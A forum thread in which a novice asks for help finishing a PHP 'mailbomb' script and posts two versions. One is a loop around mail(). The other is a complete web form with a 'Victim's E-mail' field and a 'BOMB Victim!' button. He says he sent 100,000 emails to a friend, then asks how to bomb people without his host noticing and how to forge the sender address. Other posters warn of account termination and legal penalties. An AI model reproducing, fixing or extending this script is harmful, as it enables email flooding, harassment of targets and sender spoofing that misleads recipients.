[spleblem]

The parameters for the mail() function are:

• To
  
• Subject
  
• Body
  
• Additional headers (optional, but this is where you put the "From:" header
  
• Additional parameters (optional)
  

So you should do something like this:

<?php
if ($mail == 1) {
  $from = "From: $from"; // I'm assuming that $from contains an email address
  $body = ''; // if there is something to put into the body of the message, put it in this variable
  for ($i = 1; $i <= $count; $i++) {
      mail($to, $subject, $body, $from);
      echo "Mail #".$i." was send<br>";
  }
  echo "Finished Bombing";
?>

yeah im pritty new to

php but is that the whole scipt or do i paste it over thestart of the original script

 

im a bit confused??

[AndyB]

Re-read the responses, especially those from Ken and mmarif4u

 

If the penny doesn't drop, maybe it's too early to start mailbombing anyone.

 

BTW - your web host is unlikely to be thrilled by your consumption of mail server resources and you may find your account terminated.

[spleblem]

owh so they will know that i have sent 100,000 emails to a mate

crap i didn't even think that would mater

 

so when you send emails it has to go through a mail server.

 

well it's a payed account so do you think the would mind.

 

well i thought that figuring out this php script becuase it looked basic would

be a good intro into the land of php scripts

i know a bit of C++ and html

 

but when i tried mmarif4u script the from was just a name not actually knot the email address from who it was from.

 

would this work

 

<link rel="stylesheet" type="text/css" href="css.css" />
<?
$to=$_POST['to'];
$count=$_POST['count'];
$subject=$_POST['subject'];
$message=$_POST['message'];
$from=$_POST['from'];

if ($mail == 1) {
  for ($i = 1; $i <= $count; $i++) {
      mail($to, $from, $subject, "");
      echo "Mail #".$i." was send<br>";
  }
  echo "Finished Bombing";
} else {
?>
<form action="mailbomb.php?mail=1" method="post">
       Victim's E-mail:<br>
       <input type="text" name="to"><br>
       How Many:<br>
       <input type="text" name="count"><br>
       Subject:<br>
       <input type="text" name="subject"><br>
       Message:<br>
       <textarea rows=10 cols=40 wrap="on" name="message"></textarea><br>
       From:<br>
       <input type="text" name="from"><br>
    <br>
       <input type="submit" value="BOMB Victim!">
</form>
<?
}
?>

No.  They'll be delighted to keep your money and close the account.

i edited my last post can ya give it a read

 

is there anyway to bomb people with out the web-host caring

 

and would there be a way to see rules or something

[TEENFRONT]

Becareful with your little "bomb" script mate. Your host can and most likley will get seriosly pissed off with you if you run the script to send 100,000 emails especially on shared hosting.

 

The server would likley grind to a halt and various services will also stop and/or crash. Shared hosting only allows like 10% of the CPU to be used per account...this is likley to go waaaaay up and get your account banned. Depending on your host, they may also send you/threaten to send you a nasty SPAM bill..

 

Becareful when sending emails through php. Make sure you only send to opt-in addresses ( and you can prove it ) that way you dont get bummed by the host for spamming.

[AndyB]

is there anyway to bomb people with out the web-host caring

 

Sure, set up your own server - web server and mail server - and bomb away.  Since that's an offence in most civilized jurisdictions, be prepared for equipment to be confiscated and either a hefty fine or jail time to follow.

 

Perhaps you want to try a different script to learn?

 

I'm getting grouchy. Time for bed.

[spleblem]

yeah the mail bomb was only a little thing to annoy one of my mates

 

well ill go back to this web proxy ive got set up on the same server.

 

and how would i go about setting up a webserver.

anyone know any tut's

and how much it would cost.

 

 

[TEENFRONT]

buy a decent pc, get a decent net connection, install wamp ( if your wanting to run it on windows )

 

Done.

[spleblem]

well ive got a decent spare computer

but over here in australia there no such thing as decent internet

the fastest here is 8mb and that cost about $100 a month.

 

then do you just always leave your computer running

and that it right

i would have myself a server.

but i would still need to get domain names

 

could someone tell me how that works ive never really understood

know owns then and has the right to sell them

 

and i just logged on to my webhost mister.net

 

and it says ive used %2 of my monthy data transfer $51 of that in email.

and that im allowed to set up 1000mail accounts for 1000users

it got like 5g data transfer.

 

[spleblem]

yes back to my mailbomb

ive been tring to get it so i can send from what ever address i enter but it doesn't work

it just changes the name from know the email comes from not the address

abit of help would be good please
